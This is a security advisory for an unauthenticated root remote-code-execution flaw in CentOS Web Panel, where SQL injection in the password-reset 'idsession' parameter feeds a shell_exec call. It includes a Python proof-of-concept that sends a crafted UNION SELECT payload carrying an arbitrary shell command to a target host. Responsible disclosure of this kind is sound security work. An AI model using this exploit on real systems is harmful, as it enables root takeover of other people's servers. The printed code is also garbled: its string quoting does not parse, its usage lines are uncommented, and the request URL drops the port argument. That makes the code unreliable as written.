

CentOS Web Panel idsession root Remote Code Execution

Summary

The unprivileged user portal part of CentOS Web Panel is affected by SQL Injection and Command Injection vulnerabilities, leading to root Remote Code Execution.

Product Description (from vendor)

"CentOS Web Panel – a Free Web Hosting control panel designed for quick and easy management of (Dedicated & VPS) servers minus the chore and effort to use ssh console for every time you want to do something, offers a huge number of options and features for server management in its control panel package". For more information visit <http://centos-webpanel.com/>.

CVE(s)

- [CVE-2021-31316](#)
- [CVE-2021-31324](#)

Details

Root Cause Analysis

During the password reset procedure, which is available by default at <http://cwp.local:2083/login/index.php?acc=newpass>, it is possible to inject additional SQL query parameters via the `idsession` HTTP POST parameter.

By injecting additional query results, it is possible to inject shell commands in the subsequent `shell_exec` call and gain complete control over the CentOS Web Panel host (it runs with root privileges).

Proof of Concept

```
1 #!/usr/bin/env python
2 #
3 # this script contains an unauthenticated RCE exploit for Centos Web Panel
4 # since the user-panel code is not versioned, it is not clear when the
5 # vulnerabilities have been introduced
6 #
7 usage: $0.py [-h] -rh RHOST [-rp RPORT] [-c CMD]
8 #
9 optional arguments:
10 -h, --help            show this help message and exit
11 -rh RHOST, --rhost RHOST    remote host ip/hostname
12 -rp RPORT, --rport RPORT    remote port
13 -c CMD, --cmd CMD        shell command to execute
14 #
15 # example run:
16 $ ./$0.py --rh cwp.local -c 'sleep 6'
17 [+] Sending request...
18 [*] Endpoint returned status code 200 after 6.13947 seconds
19 #
20 # polict
21 #
22 from sys import exit
23 import requests, base64
24 from argparse import ArgumentParser
25 requests.packages.urllib3.disable_warnings()
26
27 parser = ArgumentParser()
28 parser.add_argument("-rh", "--rhost", dest="rhost",
29                     help="remote host ip/hostname", required=True)
30 parser.add_argument("-rp", "--rport", dest="rport",
31                     default=2083, help="remote port")
32 parser.add_argument("-c", "--cmd", dest="cmd", default="sleep 5",
33                     help="shell command to execute")
34 args = parser.parse_args()
35
36 payload = str(base64.b64encode("abc" UNION SELECT 'a','b','c','d','+1 day','f'-- p\" + args.cmd +
37 "/*' ||a||b||c||d'.encode('utf-8')"))
38 idsession = "a' UNION SELECT 'a','b','c','+\" + payload + \"', 'e','f'-- p\"
39 post_data = {"pass1": "c3WZKwVXNzd29yZA==", "idsession": idsession}
40
41 print("[+] Sending request...")
42 response = requests.post("https://{}/login/index.php?acc=newpass".format(args.rhost, args.rport),
43                          data=post_data, verify=False)
44 if response.text == "1":
45     print("[*] Endpoint returned status code {} after {} seconds".format(response.status_code,
46                                response.elapsed.total_seconds()))
47     exit(0)
48 else:
49     print("[-] Exploit failed.")
```

Impact

A remote unauthenticated attacker can gain root remote access to the CentOS Web Panel host.

Remediation

Upgrade to the latest version of CentOS Web Panel available. (Note: the affected code is not versioned and we didn't verify the patch.)

Disclosure Timeline

- 2/12/2020: Reported to vendor
- 25/03/2021: Vendor confirms the issues have been fixed and releases a patched version
- 12/04/2021: Shielder's advisory is made public

Credits

- [polict](#) of Shielder

This advisory was first published on <https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/>

Registered Capital: 81.000,00 €

Via Palestro, 1/C
10064 Pineroio (TO) Italy



CONTACTS

info@shielder.com

Landline: (+39) 0121 - 39 36 42

Commercial: (+39) 345 - 30 31 983

Technical: (+39) 393 - 16 66 814



SITEMAP

[Home](#)

[Company](#)

[Services](#)

[Advisories](#)

[Blog](#)

[Careers](#)

[Contacts](#)

Copyright © Shielder 2014 - 2022

[Disclosure policy](#)

[Privacy policy](#)